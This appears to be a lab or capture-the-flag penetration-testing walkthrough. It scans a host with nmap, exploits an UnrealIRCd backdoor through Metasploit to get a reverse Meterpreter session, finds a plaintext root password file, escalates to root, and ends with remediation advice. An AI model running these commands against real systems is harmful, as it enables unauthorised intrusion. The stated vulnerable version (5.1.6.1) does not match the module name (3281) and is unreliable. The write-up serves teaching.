In this walkthrough, we will break down a complete penetration testing workflow—from initial reconnaissance and service enumeration to exploitation, establishing a foothold, and finally escalating privileges to root.
Phase 1: Information Gathering & Reconnaissance
Every successful penetration test starts with scanning and enumeration to understand the target environment.
- Network Scanning (nmap): We scanned the target IP address to discover active ports and running services using specific flags:Bash
nmap -sV -sC -oN scan.txt 10.113.132.129
- -sV: Performs service version detection.
- -sC: Runs default enumeration scripts.
- -oN: Saves the output in normal format.
- Vulnerability Research (searchsploit): The scan revealed that port 6667 was running UnrealIRCd. To check for known vulnerabilities, we used searchsploit:Bash
searchsploit unrealircd
- This pointed us toward a remote code execution (RCE) backdoor vulnerability for UnrealIRCd 5.1.6.1.
Phase 2: Exploitation & Initial Foothold
With a confirmed vulnerability, we moved to the exploitation phase using the Metasploit Framework.
- Setting up the Exploit:Bash
msfconsole
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 10.113.132.129
set LHOST 10.113.73.129
run
- Establishing the Session: The exploit successfully triggered the backdoor, opening a Meterpreter session:Plaintext
[*] Meterpreter session 1 opened (10.113.73.129:4444 -> 10.113.132.129:52900)
- Using getuid and sysinfo inside Meterpreter, we confirmed our low-privileged context (webmaster) on Ubuntu 24.04.
Phase 3: Local Enumeration & Privilege Escalation
Once inside, our objective was to find a path to escalate privileges to root.
- Searching for Sensitive Files: We used the find utility to locate files containing the word "password" across the system while suppressing permission denied errors:Bash
find / -name password* 2>/dev/null
- Uncovering Credentials: The search output highlighted an unconventional file at /etc/password.txt. We read its contents:Bash
cat /etc/password.txt
root:PDLrCVl1pLD91U0JMmCz
- Gaining Root Access: Using the discovered plaintext password, we switched to the root user (su root or standard authentication) to achieve full system compromise.
Phase 4: Reporting & Remediation
- Engineering Manager Summary: Documenting the findings with a clear Technical Summary so engineering teams can prioritize remediation.
- Remediation Steps:
- Remove plaintext credential files immediately (/etc/password.txt).
- Enforce the principle of least privilege on the filesystem.
- Utilize secure authentication mechanisms (such as /etc/shadow with strong hashing).